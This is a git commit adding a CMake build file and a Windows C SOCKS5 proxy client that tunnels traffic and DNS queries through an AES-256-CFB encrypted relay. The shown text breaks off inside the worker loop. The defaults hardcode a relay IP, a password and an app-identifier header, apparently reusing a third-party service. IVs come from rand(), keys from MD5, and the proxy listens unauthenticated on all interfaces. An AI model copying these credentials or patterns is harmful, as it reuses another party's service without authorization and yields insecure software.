the muxun is not operated by git,now init
This commit is contained in:
Galaxy 2025-11-09 20:06:06 +08:00
parent 7205b745be
commit 907bd5af0e
23 changed files with 13914 additions and 0 deletions

22
cpp/CMakeLists.txt Normal file
View File

@ -0,0 +1,22 @@
cmake_minimum_required(VERSION 3.20)
project(ss_socks5_client C)
set(CMAKE_C_STANDARD 11)
if (MSVC)
add_compile_options(/O2 /GL /permissive- /Zc:inline /W4)
add_definitions(-D_CRT_SECURE_NO_WARNINGS -D_WIN32_WINNT=0x0A00)
else()
add_compile_options(-O3 -march=native -DNDEBUG -Wall -Wextra)
endif()
find_package(OpenSSL REQUIRED)
find_package(PkgConfig REQUIRED)
pkg_check_modules(LIBEVENT REQUIRED libevent)
add_executable(ss_socks5_client ss_socks5_client.c)
target_include_directories(ss_socks5_client PRIVATE ${LIBEVENT_INCLUDE_DIRS})
target_link_libraries(ss_socks5_client PRIVATE ${LIBEVENT_LIBRARIES} OpenSSL::Crypto)
if (WIN32)
target_link_libraries(ss_socks5_client PRIVATE ws2_32)
endif()

850
cpp/iocp_s5.c Normal file
View File

@ -0,0 +1,850 @@
// iocp_s5.c -- single-file, WinSock IOCP + CNG(AES-256-CFB) + DNS-over-tunnel
// Build: cl /nologo /O2 /DNDEBUG /MT /utf-8 iocp_s5.c /link /MACHINE:X64 /OPT:REF /OPT:ICF ws2_32.lib mswsock.lib bcrypt.lib
#define _CRT_SECURE_NO_WARNINGS
#include <winsock2.h>
#include <mswsock.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#include <time.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "mswsock.lib")
#pragma comment(lib, "bcrypt.lib")
//===================== Config =====================
typedef struct {
char remote_host[64];
int remote_port;
char password[64];
char mx_head[128];
char listen_host[32];
int listen_port;
int recv_buf;
int connect_timeout_sec;
int udp_timeout_sec;
int verbose;
int dns_on; // 1=enable DNS over tunnel for domain CONNECT
} config_t;
static void config_default(config_t* c){
memset(c,0,sizeof(*c));
strcpy(c->remote_host, "121.14.152.149");
c->remote_port = 10004;
strcpy(c->password, "dwz1GtF7");
strcpy(c->mx_head, "com.win64.oppc.game.common:22021709,102024080020541279");
strcpy(c->listen_host, "0.0.0.0");
c->listen_port = 10807;
c->recv_buf = 8192;
c->connect_timeout_sec = 10;
c->udp_timeout_sec = 180;
c->verbose = 1;
c->dns_on = 1;
}
static void parse_args(int argc, char** argv, config_t* c){
config_default(c);
for (int i=1;i<argc;i++){
if (!strcmp(argv[i],"--remote-host") && i+1<argc) { strncpy(c->remote_host, argv[++i], sizeof(c->remote_host)-1); }
else if (!strcmp(argv[i],"--remote-port") && i+1<argc) { c->remote_port = atoi(argv[++i]); }
else if (!strcmp(argv[i],"--password") && i+1<argc) { strncpy(c->password, argv[++i], sizeof(c->password)-1); }
else if (!strcmp(argv[i],"--mx") && i+1<argc) { strncpy(c->mx_head, argv[++i], sizeof(c->mx_head)-1); }
else if (!strcmp(argv[i],"--listen") && i+1<argc) { strncpy(c->listen_host, argv[++i], sizeof(c->listen_host)-1); }
else if (!strcmp(argv[i],"--port") && i+1<argc) { c->listen_port = atoi(argv[++i]); }
else if (!strcmp(argv[i],"--recv-buf") && i+1<argc) { c->recv_buf = atoi(argv[++i]); }
else if (!strcmp(argv[i],"--connect-timeout") && i+1<argc) { c->connect_timeout_sec = atoi(argv[++i]); }
else if (!strcmp(argv[i],"--udp-timeout") && i+1<argc) { c->udp_timeout_sec = atoi(argv[++i]); }
else if (!strcmp(argv[i],"--verbose") && i+1<argc) { c->verbose = atoi(argv[++i]); }
else if (!strcmp(argv[i],"--dns-on") && i+1<argc) { c->dns_on = atoi(argv[++i]); }
}
}
//===================== Log =====================
static DWORD g_main_tid = 0;
static int g_verbose = 1;
static uint64_t now_ms(){
FILETIME ft; GetSystemTimeAsFileTime(&ft);
ULARGE_INTEGER u; u.LowPart=ft.dwLowDateTime; u.HighPart=ft.dwHighDateTime;
return (u.QuadPart/10000ULL);
}
static void logv(char lv, const char* fmt, ...){
if (lv=='D' && !g_verbose) return;
va_list ap; va_start(ap, fmt);
SYSTEMTIME st; GetLocalTime(&st);
DWORD tid = GetCurrentThreadId();
char buf[1024];
int n = vsnprintf(buf,sizeof(buf),fmt,ap);
va_end(ap);
if (n<0) n=0; if (n> (int)sizeof(buf)-1) n=(int)sizeof(buf)-1;
printf("[%02d:%02d:%02d.%03d][%c][T%u] %s\n",
st.wHour,st.wMinute,st.wSecond,st.wMilliseconds, lv, (unsigned)tid, buf);
fflush(stdout);
}
//===================== Helpers =====================
static bool resolve_host_port(const char* host, uint16_t port, struct sockaddr_storage* ss, int* slen){
struct addrinfo hints = {0}, *res=NULL;
char pbuf[8]; _snprintf_s(pbuf, sizeof(pbuf), _TRUNCATE, "%u", (unsigned)port);
hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM;
if (getaddrinfo(host,pbuf,&hints,&res)!=0 || !res){
if (res) freeaddrinfo(res);
return false;
}
memcpy(ss, res->ai_addr, res->ai_addrlen);
*slen = (int)res->ai_addrlen;
freeaddrinfo(res);
return true;
}
static int host_literal_ip(const char* host, uint8_t* packed16, size_t* plen){
struct in_addr a4; struct in6_addr a6;
if (InetPtonA(AF_INET, host, &a4)==1){ memcpy(packed16,&a4,4); *plen=4; return AF_INET; }
if (InetPtonA(AF_INET6, host, &a6)==1){ memcpy(packed16,&a6,16); *plen=16; return AF_INET6; }
return 0;
}
//===================== KDF: EVP_BytesToKey(md5) 32B =====================
static bool md5_once(const uint8_t* in, DWORD inlen, uint8_t out16[16]){
BCRYPT_ALG_HANDLE hAlg=NULL; BCRYPT_HASH_HANDLE hHash=NULL;
NTSTATUS s=BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_MD5_ALGORITHM, NULL, 0); if (s) return false;
s=BCryptCreateHash(hAlg, &hHash, NULL, 0, NULL, 0, 0); if (s){ BCryptCloseAlgorithmProvider(hAlg,0); return false; }
s=BCryptHashData(hHash, (PUCHAR)in, inlen, 0); if (s){ BCryptDestroyHash(hHash); BCryptCloseAlgorithmProvider(hAlg,0); return false; }
s=BCryptFinishHash(hHash, out16, 16, 0);
BCryptDestroyHash(hHash); BCryptCloseAlgorithmProvider(hAlg,0);
return s==0;
}
static bool kdf_key32_from_password(const char* pw, uint8_t out32[32]){
uint8_t h1[16], h2[16];
if (!md5_once((const uint8_t*)pw, (DWORD)strlen(pw), h1)) return false;
uint8_t tmp[16+64]; memcpy(tmp,h1,16); memcpy(tmp+16,pw,strlen(pw));
if (!md5_once(tmp, (DWORD)(16+strlen(pw)), h2)) return false;
memcpy(out32,h1,16); memcpy(out32+16,h2,16);
return true;
}
//===================== AES-256-CFB via CNG =====================
typedef struct {
BCRYPT_ALG_HANDLE hAlg;
BCRYPT_KEY_HANDLE hKey;
uint8_t iv[16]; // updated in place per call
uint8_t key[32];
BOOL is_enc; // 1=encrypt, 0=decrypt
BOOL init_ok;
} cfb_ctx_t;
static bool cfb_init(cfb_ctx_t* c, const uint8_t key[32], const uint8_t iv16[16], BOOL enc){
memset(c,0,sizeof(*c));
memcpy(c->key, key, 32);
memcpy(c->iv, iv16, 16);
c->is_enc = enc;
NTSTATUS s=BCryptOpenAlgorithmProvider(&c->hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
if (s){ logv('E',"BCryptOpenAlgorithmProvider AES failed: 0x%08X", s); return false; }
s=BCryptSetProperty(c->hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CFB, (ULONG)sizeof(BCRYPT_CHAIN_MODE_CFB), 0);
if (s){ logv('E',"Set ChainingModeCFB failed: 0x%08X", s); BCryptCloseAlgorithmProvider(c->hAlg,0); return false; }
s=BCryptGenerateSymmetricKey(c->hAlg, &c->hKey, NULL, 0, (PUCHAR)c->key, 32, 0);
if (s){ logv('E',"GenerateSymmetricKey failed: 0x%08X", s); BCryptCloseAlgorithmProvider(c->hAlg,0); return false; }
c->init_ok = TRUE;
return true;
}
static void cfb_free(cfb_ctx_t* c){
if (c->hKey){ BCryptDestroyKey(c->hKey); c->hKey=NULL; }
if (c->hAlg){ BCryptCloseAlgorithmProvider(c->hAlg,0); c->hAlg=NULL; }
c->init_ok=FALSE;
}
// in==out allowed? 为安全起见用不同 buffer上层已分配
static bool cfb_update(cfb_ctx_t* c, const uint8_t* in, DWORD inlen, uint8_t* out, DWORD* outlen){
if (!c->init_ok) return false;
ULONG cb=0; NTSTATUS s;
if (c->is_enc)
s=BCryptEncrypt(c->hKey,(PUCHAR)in,inlen,NULL,(PUCHAR)c->iv,16,(PUCHAR)out,inlen,&cb,0);
else
s=BCryptDecrypt(c->hKey,(PUCHAR)in,inlen,NULL,(PUCHAR)c->iv,16,(PUCHAR)out,inlen,&cb,0);
if (s){ logv('E',"CFB update failed 0x%08X", s); return false; }
*outlen = cb;
return true;
}
//===================== DNS minimal =====================
static int dns_build_query_a(const char* host, uint8_t* out, size_t cap, size_t* outlen){
if (!host || !out || cap<12) return -1;
uint16_t id = (uint16_t)rand();
size_t off=0;
if (cap<12) return -1;
*(uint16_t*)(out+off) = htons(id); off+=2;
*(uint16_t*)(out+off) = htons(0x0100); off+=2; // rd
*(uint16_t*)(out+off) = htons(1); off+=2; // qdcount
*(uint16_t*)(out+off) = 0; off+=2; // an
*(uint16_t*)(out+off) = 0; off+=2; // ns
*(uint16_t*)(out+off) = 0; off+=2; // ar
// qname
const char* p=host;
while (*p){
const char* dot = strchr(p,'.');
size_t lab = dot ? (size_t)(dot-p) : strlen(p);
if (lab==0 || lab>63) return -1;
if (off+1+lab>=cap) return -1;
out[off++] = (uint8_t)lab;
memcpy(out+off, p, lab); off+=lab;
if (!dot) break;
p = dot+1;
}
if (off+1+4>cap) return -1;
out[off++] = 0;
*(uint16_t*)(out+off) = htons(1); off+=2; // QTYPE A
*(uint16_t*)(out+off) = htons(1); off+=2; // QCLASS IN
*outlen = off;
return 0;
}
static int dns_skip_name(const uint8_t* b,size_t len,size_t* off){
size_t i=*off;
while (i<len){
uint8_t c=b[i++];
if ((c&0xC0)==0xC0){ if (i>=len) return -1; i++; break; }
else if (c==0){ break; }
else { if (i+c>len) return -1; i+=c; }
}
*off=i; return 0;
}
static int dns_parse_a_ip(const uint8_t* b,size_t len,char ip[16]){
if (len<12) return -1;
uint16_t qd = ntohs(*(uint16_t*)(b+4));
uint16_t an = ntohs(*(uint16_t*)(b+6));
size_t off=12;
for (uint16_t i=0;i<qd;i++){ if (dns_skip_name(b,len,&off)) return -1; if (off+4>len) return -1; off+=4; }
for (uint16_t i=0;i<an;i++){
if (dns_skip_name(b,len,&off)) return -1;
if (off+10>len) return -1;
uint16_t type = ntohs(*(uint16_t*)(b+off)); off+=2;
uint16_t cls = ntohs(*(uint16_t*)(b+off)); off+=2;
off+=4; // ttl
uint16_t rdlen= ntohs(*(uint16_t*)(b+off)); off+=2;
if (off+rdlen>len) return -1;
if (type==1 && cls==1 && rdlen==4){
const struct in_addr* a4=(const struct in_addr*)(b+off);
inet_ntop(AF_INET, a4, ip, 16);
return 0;
}
off+=rdlen;
}
return -1;
}
//===================== protocol: encode_addr =====================
// tcp=true : first byte 'a'(0x61)/'c'(0x63)/'d'(0x64)
// tcp=false: first byte 0x01/0x03/0x04
static size_t encode_addr_block(bool tcp, uint8_t atyp, const char* host, uint16_t port, uint8_t* out, size_t cap){
uint8_t* p=out; size_t left=cap;
uint8_t packed[16]; size_t plen=0;
int afip = host_literal_ip(host,packed,&plen);
if (tcp){
if (afip==AF_INET && atyp==0x01){ if (left<1+4+2) return 0; *p++=0x61; memcpy(p,packed,4); p+=4; }
else if (afip==AF_INET6 && atyp==0x04){ if (left<1+16+2) return 0; *p++=0x64; memcpy(p,packed,16); p+=16; }
else if (atyp==0x03){
size_t L=strlen(host); if (L>255) return 0;
if (left<1+1+L+2) return 0;
*p++=0x63; *p++=(uint8_t)L; memcpy(p,host,L); p+=L;
} else return 0;
}else{
if (afip==AF_INET && atyp==0x01){ if (left<1+4+2) return 0; *p++=0x01; memcpy(p,packed,4); p+=4; }
else if (afip==AF_INET6 && atyp==0x04){ if (left<1+16+2) return 0; *p++=0x04; memcpy(p,packed,16); p+=16; }
else if (atyp==0x03){
size_t L=strlen(host); if (L>255) return 0;
if (left<1+1+L+2) return 0;
*p++=0x03; *p++=(uint8_t)L; memcpy(p,host,L); p+=L;
} else return 0;
}
uint16_t np = htons(port);
memcpy(p,&np,2); p+=2;
return (size_t)(p - out);
}
//===================== IOCP Types =====================
typedef enum { OP_NONE=0, OP_CLI_RECV, OP_CLI_SEND, OP_SRV_RECV, OP_SRV_SEND, OP_CONNECT } opkind_t;
typedef struct iocp_op_s {
OVERLAPPED ov;
WSABUF buf;
opkind_t kind;
char storage[1]; // flexible for debugging
} iocp_op_t;
static iocp_op_t* op_alloc(opkind_t k, DWORD cap){
iocp_op_t* op = (iocp_op_t*)calloc(1, sizeof(iocp_op_t) + (cap?cap-1:0));
op->kind = k; op->buf.buf = cap? op->storage : NULL; op->buf.len = cap;
return op;
}
static void op_free(iocp_op_t* op){ free(op); }
//===================== Bridge =====================
typedef struct {
SOCKET s_cli, s_srv;
HANDLE iocp;
config_t* cfg;
// ConnectEx
LPFN_CONNECTEX pConnectEx;
// state
enum { ST_GREETING=0, ST_REQUEST=1, ST_CONNECTING=2, ST_STREAM=3, ST_CLOSED=4 } st;
// SOCKS5 request
uint8_t req_cmd, req_atyp;
char req_host[128];
uint16_t req_port;
// crypto
uint8_t key32[32];
uint8_t iv_up[16]; // client->server: sent once at beginning
cfb_ctx_t c_up; // encryptor (iv_up evolves in place)
BOOL up_inited;
uint8_t iv_dn[16]; // server->client: received once from remote
size_t ivdn_have; // bytes collected for dn iv
cfb_ctx_t c_dn; // decryptor
BOOL dn_inited;
LONG pending_ops; // refcnt-like
BOOL closing;
// buffers
DWORD recv_cap;
} bridge_t;
static void bridge_start_close(bridge_t* b);
//============= small utils =============
static void rand_bytes(uint8_t* p, size_t n){
for (size_t i=0;i<n;i++) p[i] = (uint8_t)(rand() & 0xFF);
}
static bool s5_greeting(uint8_t* in, DWORD inlen, DWORD* consumed){
if (inlen<2) return false;
if (in[0]!=5) return false;
DWORD need = 2 + in[1];
if (inlen<need) return false;
*consumed = need;
return true;
}
static int s5_parse_request(uint8_t* in, DWORD inlen, uint8_t* pcmd, uint8_t* patyp, char* host, uint16_t* pport, DWORD* consumed){
if (inlen<4 || in[0]!=5) return 0;
DWORD off=4;
*pcmd = in[1]; *patyp=in[3];
if (*patyp==0x01){
if (inlen<off+4+2) return 0;
char ip[16]; InetNtopA(AF_INET, in+off, ip, sizeof(ip));
strncpy(host, ip, 127); host[127]=0;
off+=4; *pport = ntohs(*(uint16_t*)(in+off)); off+=2;
}else if (*patyp==0x03){
if (inlen<off+1) return 0;
uint8_t L = in[off++]; if (inlen<off+L+2) return 0;
size_t cp = L>127?127:L; memcpy(host,in+off,cp); host[cp]=0;
off+=L; *pport = ntohs(*(uint16_t*)(in+off)); off+=2;
}else if (*patyp==0x04){
if (inlen<off+16+2) return 0;
char ip6[64]; InetNtopA(AF_INET6, in+off, ip6, sizeof(ip6));
strncpy(host, ip6, 127); host[127]=0;
off+=16; *pport = ntohs(*(uint16_t*)(in+off)); off+=2;
}else return -1;
*consumed=off; return 1;
}
static void s5_reply(SOCKET s, uint8_t rep, const char* bind_host, uint16_t bind_port){
uint8_t out[4+1+255+2]; uint8_t* p=out;
*p++=5; *p++=rep; *p++=0; // RSV
uint8_t ipbuf[16]; size_t plen=0; int af=host_literal_ip(bind_host, ipbuf, &plen);
if (af==AF_INET){ *p++=0x01; memcpy(p,ipbuf,4); p+=4; }
else if (af==AF_INET6){ *p++=0x04; memcpy(p,ipbuf,16); p+=16; }
else{ size_t L=strlen(bind_host); if (L>255) L=255; *p++=0x03; *p++=(uint8_t)L; memcpy(p,bind_host,L); p+=L; }
uint16_t np = htons(bind_port); memcpy(p,&np,2); p+=2;
DWORD sent=0; WSASend(s, (WSABUF*)&(WSABUF){ .buf=(CHAR*)out, .len=(ULONG)(p-out) }, 1, &sent, 0, NULL, NULL);
}
//===================== GQCS loop =====================
typedef struct {
HANDLE iocp;
config_t* cfg;
} worker_arg_t;
static void post_recv(bridge_t* b, SOCKET s, opkind_t kind){
iocp_op_t* op=op_alloc(kind, b->recv_cap);
InterlockedIncrement(&b->pending_ops);
DWORD fl=0; DWORD recvd=0;
int rc = WSARecv(s, &op->buf, 1, &recvd, &fl, &op->ov, NULL);
if (rc==SOCKET_ERROR){
int e=WSAGetLastError();
if (e!=WSA_IO_PENDING){
logv('E',"WSARecv immediate fail e=%d", e);
InterlockedDecrement(&b->pending_ops);
op_free(op);
bridge_start_close(b);
}else{
if (g_verbose) logv('D',"post RECV kind=%d cap=%u (pending_ops=%ld)", kind, op->buf.len, b->pending_ops);
}
}
}
static void post_send(bridge_t* b, SOCKET s, const void* data, DWORD len, opkind_t kind){
iocp_op_t* op=op_alloc(kind, len);
memcpy(op->buf.buf, data, len);
op->buf.len=len;
InterlockedIncrement(&b->pending_ops);
DWORD sent=0;
int rc=WSASend(s, &op->buf, 1, &sent, 0, &op->ov, NULL);
if (rc==SOCKET_ERROR){
int e=WSAGetLastError();
if (e!=WSA_IO_PENDING){
logv('E',"WSASend immediate fail e=%d", e);
InterlockedDecrement(&b->pending_ops);
op_free(op);
bridge_start_close(b);
}else{
if (g_verbose) logv('D',"post SEND kind=%d len=%u (pending_ops=%ld)", kind, len, b->pending_ops);
}
}
}
static void after_remote_connected(bridge_t* b){
// 1) 生成上行IV并初始化加密流
rand_bytes(b->iv_up, 16);
if (!cfb_init(&b->c_up, b->key32, b->iv_up, TRUE)){ bridge_start_close(b); return; }
b->up_inited=TRUE;
// 2) 组首包encode_addr(tcp=true) + MX
uint8_t addr[256]; size_t alen = encode_addr_block(true, b->req_atyp, b->req_host, b->req_port, addr, sizeof(addr));
if (!alen){ logv('E',"encode_addr(tcp) failed"); bridge_start_close(b); return; }
size_t mxL = strlen(b->cfg->mx_head); if (mxL>255) mxL=255;
uint8_t plain[256+1+255]; memcpy(plain, addr, alen); plain[alen]=(uint8_t)mxL; memcpy(plain+alen+1, b->cfg->mx_head, mxL);
DWORD plain_len = (DWORD)(alen + 1 + mxL);
// 3) 加密首包(不含 IV
uint8_t ct[512]; DWORD ctlen=0;
if (!cfb_update(&b->c_up, plain, plain_len, ct, &ctlen)){ bridge_start_close(b); return; }
// 4) 发送IV + CT
uint8_t out[16+512]; memcpy(out, b->iv_up, 16); memcpy(out+16, ct, ctlen);
post_send(b, b->s_srv, out, 16+ctlen, OP_SRV_SEND);
// 5) 给客户端回复 OK并进入流转发
s5_reply(b->s_cli, 0x00, "0.0.0.0", 0);
b->st = ST_STREAM;
// 6) 分别贴上读取
post_recv(b, b->s_cli, OP_CLI_RECV);
post_recv(b, b->s_srv, OP_SRV_RECV);
logv('I',"enter STREAM (+posted cli/srv recv)");
}
//===================== DNS over tunnel (UDP) =====================
static bool dns_over_tunnel_query(const config_t* cfg, const uint8_t key32[32], const char* host, char out_ip[16]){
// 明文: encode_addr(tcp=false) to 8.8.8.8:53 + DNS query
uint8_t addr[64]; size_t alen = encode_addr_block(false, 0x01, "8.8.8.8", 53, addr, sizeof(addr));
if (!alen) return false;
uint8_t q[512]; size_t qlen=0;
if (dns_build_query_a(host, q, sizeof(q), &qlen)!=0) return false;
uint8_t plain[800]; if (alen+qlen>sizeof(plain)) return false;
memcpy(plain, addr, alen); memcpy(plain+alen, q, qlen);
uint8_t iv[16]; rand_bytes(iv,16);
cfb_ctx_t enc; if (!cfb_init(&enc, key32, iv, TRUE)) return false;
uint8_t ct[800]; DWORD ctlen=0;
bool ok = cfb_update(&enc, plain, (DWORD)(alen+qlen), ct, &ctlen);
cfb_free(&enc); if (!ok) return false;
uint8_t out[16+800]; memcpy(out, iv,16); memcpy(out+16, ct, ctlen);
// UDP sendto
SOCKET su = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL,0,0);
if (su==INVALID_SOCKET) return false;
struct sockaddr_storage rs; int rslen=0;
if (!resolve_host_port(cfg->remote_host, (uint16_t)cfg->remote_port, &rs, &rslen)){ closesocket(su); return false; }
DWORD to=2000; setsockopt(su, SOL_SOCKET, SO_RCVTIMEO, (const char*)&to, sizeof(to));
int sn = sendto(su, (const char*)out, (int)(16+ctlen), 0, (struct sockaddr*)&rs, rslen);
if (sn<=0){ closesocket(su); return false; }
uint8_t buf[1200];
struct sockaddr_storage from; int fromlen=sizeof(from);
int rn = recvfrom(su, (char*)buf, sizeof(buf), 0, (struct sockaddr*)&from, &fromlen);
closesocket(su);
if (rn<16) return false;
cfb_ctx_t dec; if (!cfb_init(&dec, key32, buf, FALSE)) return false;
uint8_t plain2[1200]; DWORD p2=0;
ok = cfb_update(&dec, buf+16, rn-16, plain2, &p2);
cfb_free(&dec);
if (!ok || p2==0) return false;
// 跳过 addr 块
size_t off=0;
uint8_t first = plain2[0];
if (first==0x01){ off = 1+4+2; }
else if (first==0x03){ if (p2<2) return false; uint8_t L=plain2[1]; off = 1+1+L+2; if (off>p2) return false; }
else if (first==0x04){ off = 1+16+2; }
else return false;
if (off>=p2) return false;
return dns_parse_a_ip(plain2+off, p2-off, out_ip)==0;
}
//===================== ConnectEx helper =====================
static bool load_connectex(SOCKET s, LPFN_CONNECTEX* pOut){
GUID g = WSAID_CONNECTEX; DWORD bytes=0;
int rc = WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &g, sizeof(g), pOut, sizeof(*pOut), &bytes, NULL, NULL);
return rc==0 && *pOut!=NULL;
}
static bool bridge_connect_remote(bridge_t* b){
// 建 srv socket & 绑定本地
b->s_srv = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (b->s_srv==INVALID_SOCKET){ logv('E',"WSASocket srv fail %d", WSAGetLastError()); return false; }
CreateIoCompletionPort((HANDLE)b->s_srv, b->iocp, (ULONG_PTR)b, 0);
SOCKADDR_STORAGE local; int llen=0;
// 绑定任意本地
struct sockaddr_in sin={0}; sin.sin_family=AF_INET; sin.sin_addr.s_addr=0; sin.sin_port=0;
if (bind(b->s_srv, (struct sockaddr*)&sin, sizeof(sin))!=0){
logv('E',"bind srv fail %d", WSAGetLastError()); return false;
}
if (!load_connectex(b->s_srv, &b->pConnectEx)){ logv('E',"load ConnectEx fail"); return false; }
SOCKADDR_STORAGE rs; int rslen=0;
if (!resolve_host_port(b->cfg->remote_host, (uint16_t)b->cfg->remote_port, &rs, &rslen)){
logv('E',"resolve remote fail");
return false;
}
iocp_op_t* op = op_alloc(OP_CONNECT, 0);
InterlockedIncrement(&b->pending_ops);
BOOL ok = b->pConnectEx(b->s_srv, (SOCKADDR*)&rs, rslen, NULL, 0, NULL, &op->ov);
if (!ok){
int e=WSAGetLastError();
if (e!=ERROR_IO_PENDING){
logv('E',"ConnectEx immediate fail %d", e);
InterlockedDecrement(&b->pending_ops);
op_free(op);
return false;
}
}
logv('I',"ConnectEx to remote server %s:%d", b->cfg->remote_host, b->cfg->remote_port);
return true;
}
//===================== Close =====================
static void bridge_free(bridge_t* b){
if (!b) return;
if (b->s_cli!=INVALID_SOCKET){ closesocket(b->s_cli); b->s_cli=INVALID_SOCKET; }
if (b->s_srv!=INVALID_SOCKET){ closesocket(b->s_srv); b->s_srv=INVALID_SOCKET; }
if (b->up_inited){ cfb_free(&b->c_up); b->up_inited=FALSE; }
if (b->dn_inited){ cfb_free(&b->c_dn); b->dn_inited=FALSE; }
free(b);
}
static void bridge_start_close(bridge_t* b){
if (b->closing) return;
b->closing=TRUE;
logv('I',"bridge %p start_close (pending_ops=%ld)", b, b->pending_ops);
shutdown(b->s_srv, SD_BOTH);
shutdown(b->s_cli, SD_BOTH);
}
//===================== Worker (GQCS) =====================
static void handle_cli_data(bridge_t* b, const uint8_t* data, DWORD n){
if (b->st!=ST_STREAM) return;
if (!b->up_inited){ logv('E',"up cipher not ready"); bridge_start_close(b); return; }
// 加密并发给远端不再发送IV
uint8_t* out = (uint8_t*)malloc(n);
DWORD m=0; if (!cfb_update(&b->c_up, data, n, out, &m)){ free(out); bridge_start_close(b); return; }
if (g_verbose) logv('D',"STREAM up: in=%u enc=%u", n, m);
post_send(b, b->s_srv, out, m, OP_SRV_SEND);
free(out);
}
static void handle_srv_data(bridge_t* b, uint8_t* data, DWORD n){
DWORD off=0;
// 下行首次收到时,先收满 16B IV
if (!b->dn_inited){
DWORD need = (DWORD)(16 - b->ivdn_have);
if (n < need){
memcpy(b->iv_dn + b->ivdn_have, data, n);
b->ivdn_have += n;
return;
}else{
// 完成 IV 收集
memcpy(b->iv_dn + b->ivdn_have, data, need);
b->ivdn_have = 16;
off = need;
if (!cfb_init(&b->c_dn, b->key32, b->iv_dn, FALSE)){ bridge_start_close(b); return; }
b->dn_inited=TRUE;
logv('I',"downstream IV received");
}
}
if (off < n){
uint8_t* out=(uint8_t*)malloc(n - off);
DWORD m=0;
if (!cfb_update(&b->c_dn, data+off, n-off, out, &m)){ free(out); bridge_start_close(b); return; }
if (g_verbose) logv('D',"STREAM down: in=%u dec=%u", n-off, m);
post_send(b, b->s_cli, out, m, OP_CLI_SEND);
free(out);
}
}
static DWORD WINAPI worker_thread(LPVOID arg_){
worker_arg_t* arg=(worker_arg_t*)arg_;
HANDLE iocp=arg->iocp;
for (;;){
DWORD bytes=0; ULONG_PTR key=0; OVERLAPPED* pov=NULL;
BOOL ok = GetQueuedCompletionStatus(iocp, &bytes, &key, &pov, INFINITE);
bridge_t* b=(bridge_t*)key;
iocp_op_t* op = (iocp_op_t*)pov;
if (!pov){ // shutdown signal?
break;
}
if (!ok){
DWORD gle=GetLastError();
// 某些取消/超时也会走这里
// 统一当作该 op 完成,交给状态机关闭
}
if (op->kind==OP_CLI_RECV){
if (g_verbose) logv('D',"GQCS: CLI_RECV %u bytes", bytes);
if (bytes==0){ // 客户端关闭
InterlockedDecrement(&b->pending_ops);
op_free(op);
bridge_start_close(b);
continue;
}
// 状态机GREETING 或 REQUEST 或 STREAM
if (b->st==ST_GREETING){
DWORD need=0;
if (!s5_greeting((uint8_t*)op->buf.buf, bytes, &need)){
// 不足理论上应缓存这里简单化认为一次收齐curl等会在一个包里
if (bytes<2){ // 再贴收
post_recv(b, b->s_cli, OP_CLI_RECV);
InterlockedDecrement(&b->pending_ops); op_free(op);
continue;
}
logv('E',"S5 greeting malformed");
InterlockedDecrement(&b->pending_ops); op_free(op);
bridge_start_close(b);
continue;
}
// 丢掉 greeting并回 05 00
uint8_t ok2[2]={0x05,0x00};
post_send(b, b->s_cli, ok2, 2, OP_CLI_SEND);
if (g_verbose) logv('I',"S5 greeting ok");
b->st = ST_REQUEST;
// 再收 request
post_recv(b, b->s_cli, OP_CLI_RECV);
InterlockedDecrement(&b->pending_ops); op_free(op);
continue;
}else if (b->st==ST_REQUEST){
uint8_t cmd,atyp; char host[128]; uint16_t port=0; DWORD used=0;
int r = s5_parse_request((uint8_t*)op->buf.buf, bytes, &cmd,&atyp,host,&port,&used);
if (r<=0){
// 继续收
post_recv(b, b->s_cli, OP_CLI_RECV);
InterlockedDecrement(&b->pending_ops); op_free(op);
continue;
}
b->req_cmd=cmd; b->req_atyp=atyp; strncpy(b->req_host,host,127); b->req_port=port;
if (g_verbose) logv('I',"S5 request cmd=0x%02X atyp=0x%02X host=%s port=%u", cmd,atyp,host,port);
if (cmd==0x01){ // CONNECT
// 先派生密钥
if (!kdf_key32_from_password(b->cfg->password, b->key32)){
logv('E',"KDF failed"); bridge_start_close(b);
InterlockedDecrement(&b->pending_ops); op_free(op); continue;
}
// 如果是域名且启用 DNS over tunnel先尝试查询 A
if (b->cfg->dns_on && atyp==0x03){
char ip[16]={0};
if (dns_over_tunnel_query(b->cfg, b->key32, host, ip)){
strncpy(b->req_host, ip, 127); b->req_atyp = 0x01;
logv('I',"DOT result %s -> %s", host, ip);
}else{
logv('W',"DOT fail, fallback to remote resolve (keep domain)");
}
}
// 连接远端中继
if (!bridge_connect_remote(b)){
s5_reply(b->s_cli, 0x05, "0.0.0.0", 0);
bridge_start_close(b);
InterlockedDecrement(&b->pending_ops); op_free(op); continue;
}
b->st = ST_CONNECTING;
}else if (cmd==0x03){
// UDP ASSOC此版本先不实现 SOCKS UDP 转发,只回 OK防吞包
s5_reply(b->s_cli, 0x00, "0.0.0.0", 0);
}else{
s5_reply(b->s_cli, 0x07, "0.0.0.0", 0);
bridge_start_close(b);
}
InterlockedDecrement(&b->pending_ops); op_free(op);
continue;
}else if (b->st==ST_STREAM){
handle_cli_data(b, (uint8_t*)op->buf.buf, bytes);
// 继续收客户端
post_recv(b, b->s_cli, OP_CLI_RECV);
InterlockedDecrement(&b->pending_ops); op_free(op);
continue;
}
// 其它状态
InterlockedDecrement(&b->pending_ops); op_free(op);
}else if (op->kind==OP_SRV_RECV){
if (g_verbose) logv('D',"GQCS: SRV_RECV %u bytes", bytes);
if (bytes==0){
InterlockedDecrement(&b->pending_ops);
op_free(op);
bridge_start_close(b);
continue;
}
handle_srv_data(b, (uint8_t*)op->buf.buf, bytes);
// 继续收远端
post_recv(b, b->s_srv, OP_SRV_RECV);
InterlockedDecrement(&b->pending_ops); op_free(op);
}else if (op->kind==OP_CLI_SEND || op->kind==OP_SRV_SEND){
if (g_verbose) logv('D',"GQCS: %s %u bytes", op->kind==OP_CLI_SEND?"CLI_SEND":"SRV_SEND", bytes);
InterlockedDecrement(&b->pending_ops); op_free(op);
}else if (op->kind==OP_CONNECT){
DWORD gle = 0;
